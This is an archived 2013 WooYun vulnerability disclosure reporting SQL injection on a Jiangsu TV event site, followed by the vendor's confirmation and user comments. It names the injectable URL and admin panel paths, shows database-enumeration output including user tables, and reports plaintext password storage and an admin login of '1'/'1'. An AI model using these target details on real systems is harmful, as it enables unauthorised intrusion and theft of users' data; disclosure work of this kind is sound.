当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2013-021853

漏洞标题：江苏卫视SQL注射漏洞N多数据，明文密码保存，外加某后台弱口令

相关厂商：江苏卫视

漏洞作者： 小胖子

提交时间：2013-04-15 12:04

修复时间：2013-05-30 12:05

公开时间：2013-05-30 12:05

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：20

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2013-04-15： 细节已通知厂商并且等待厂商处理中
2013-04-15： 厂商已经确认，细节仅向厂商公开
2013-04-25： 细节向核心白帽子及相关领域专家公开
2013-05-05： 细节向普通白帽子公开
2013-05-15： 细节向实习白帽子公开
2013-05-30： 细节向公众公开

简要描述：

江苏卫视，你傲娇了，http://www.wooyun.org/bugs/wooyun-2010-021564 看厂商最新状态，碉堡了有木有！！！

详细说明：

问题1：SQL注射
站点：http://hd.jstv.com/ 后台附带N多个站点
注入点：http://hd.jstv.com/xhsy/cont.aspx?id=3185
N多管理后台，不一一列举：
http://hd.jstv.com/hldr/admin/
http://hd.jstv.com/kn2013/admin/
http://hd.jstv.com/xhsy/admin/
and so on...
不多说了，得到数据如下：

available databases [75]:
[*] Act_20120315
[*] Act_20120601
[*] Act_2013
[*] adclick
[*] ADManager
[*] AllMedia
[*] bjbs
[*] bkbl
[*] BlindDate
[*] cetv
[*] Comment
[*] CUShop
[*] EPG
[*] FamousDoc
[*] fcwr
[*] GlobeLove
[*] gysz
[*] idream
[*] Investigation
[*] JSBC_Tech
[*] JSBC_TECH_V2
[*] jsports
[*] JSWeiShi
[*] JSYingshi
[*] kn2013
[*] lexiang_baoming
[*] master
[*] MediaAutoTask
[*] model
[*] msdb
[*] nianhui
[*] Northwind
[*] ProgAutoGen
[*] province
[*] pubs
[*] talk
[*] tempdb
[*] test1
[*] topic
[*] Valentine
[*] Volunteer
[*] Vote
[*] xhsy
[*] xiaohua
[*] xmltest
[*] xsldb_actors
[*] xsldb_aipin
[*] xsldb_citypublic
[*] xsldb_citytv
[*] xsldb_feichengwr
[*] xsldb_guoji
[*] xsldb_hxyj
[*] xsldb_job2010_11
[*] xsldb_job2011_02
[*] xsldb_job2011_05
[*] xsldb_job2011_06
[*] xsldb_job2011_08
[*] xsldb_job2011_10
[*] xsldb_job2011_11
[*] xsldb_job2012_02
[*] xsldb_job2012_05
[*] xsldb_job2012_0515
[*] xsldb_job2012_10
[*] xsldb_job2012_10_x
[*] xsldb_job2012_12
[*] xsldb_job_city
[*] xsldb_job_omnijoi
[*] xsldb_lgknd
[*] xsldb_luck
[*] xsldb_osk
[*] xsldb_shaoer
[*] xsldb_zymanage
[*] xsldb_zymanage2010
[*] xsldb_zymanage2011
[*] zyclub


Database: JSWeiShi
[14 tables]
+----------------------+
| dbo.dtproperties     |
| dbo.fcwr_comment     |
| dbo.fcwr_female_vote |
| dbo.fcwr_topic_vote  |
| dbo.hynh_user        |
| dbo.jstvlp.zmkm_user |
| dbo.mxcz_user        |
| dbo.sysconstraints   |
| dbo.syssegments      |
| dbo.tccw_user        |
| dbo.tyec_user        |
| dbo.yzdd_question    |
| dbo.yzdd_user        |
| dbo.zxmzf_user       |
+----------------------+


更可爱的是，里面居然是明文密码...明文....文....

.jpg


部分截图~~~
问题2：某后台弱口令。
招聘管理系统，账号密码都是1

20130414211837.jpg


漏洞证明：

见详细说明。

修复方案：

1：注射漏洞参数过滤，估计同一服务器下注入点还多吧。
2：弱口令不应该了，速度修改。
3：求20rank！！！

版权声明：转载请注明来源 小胖子@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：20

确认时间：2013-04-15 16:12

厂商回复：

感谢您的提交，该问题确实存在，我们会尽快修复。rank 20

最新状态：

暂无

漏洞评价：

评论

  1. 2013-04-15 12:13 | px1624 ( 普通白帽子 | Rank:1036 漏洞数:175 | px1624)

    胖兄又来了，where have gift，where you are！

  2. 2013-04-15 12:31 | 小胖子 认证白帽子 ( 核心白帽子 | Rank:1727 漏洞数:125 | 如果大海能够带走我的矮丑...)

    @px1624 哈哈，还是你了解我，我们都是神枪手，每一个礼物消灭一个漏洞！！！！！

  3. 2013-04-15 12:55 | px1624 ( 普通白帽子 | Rank:1036 漏洞数:175 | px1624)

    @小胖子 擦，和你还差60rank诶。。以你目前的这个状态 追上你 有点吃力额

  4. 2013-04-15 13:05 | charles ( 路人 | Rank:6 漏洞数:4 | 研究web安全,0day,漏洞挖掘,关注国内安全动...)

    追人啊~

  5. 2013-04-15 14:31 | 爹 ( 路人 | Rank:17 漏洞数:4 | 想...想活捉一枚处男...ing...)

    a a 啊啊

  6. 2013-04-15 16:13 | 梧桐雨 认证白帽子 ( 核心白帽子 | Rank:1576 漏洞数:184 | 关注技术与网络安全)

    @px1624 你才是真正的xss哥

  7. 2013-04-15 16:31 | px1624 ( 普通白帽子 | Rank:1036 漏洞数:175 | px1624)

    @梧桐雨 ...此言何讲、、我只是xss发的稍微多了点而已

  8. 2013-05-30 15:22 | Tracker ( 路人 | Rank:16 漏洞数:4 | 厂商虐我千百遍，我待厂商如初恋!)

    @江苏卫视 说好的xss呢

  9. 2013-06-03 09:44 | her0ma ( 核心白帽子 | Rank:598 漏洞数:83 | 专注小厂商三十年！)

    还不修复，好蛋疼，今天发现准备提交的时候搜了一下发现已经被提交过了。到现在还木有修复 ！！！

  10. 2013-07-10 11:26 | tombook ( 实习白帽子 | Rank:52 漏洞数:7 | 长期专心研究QQ 1907671)

    到今天还木有修复

  11. 2013-07-18 16:46 | 海。 ( 路人 | Rank:5 漏洞数:3 | 前进的道路也许坎坷,但阻挡不住我们的热情!)

    脱了裤,还拿礼物真Y。。。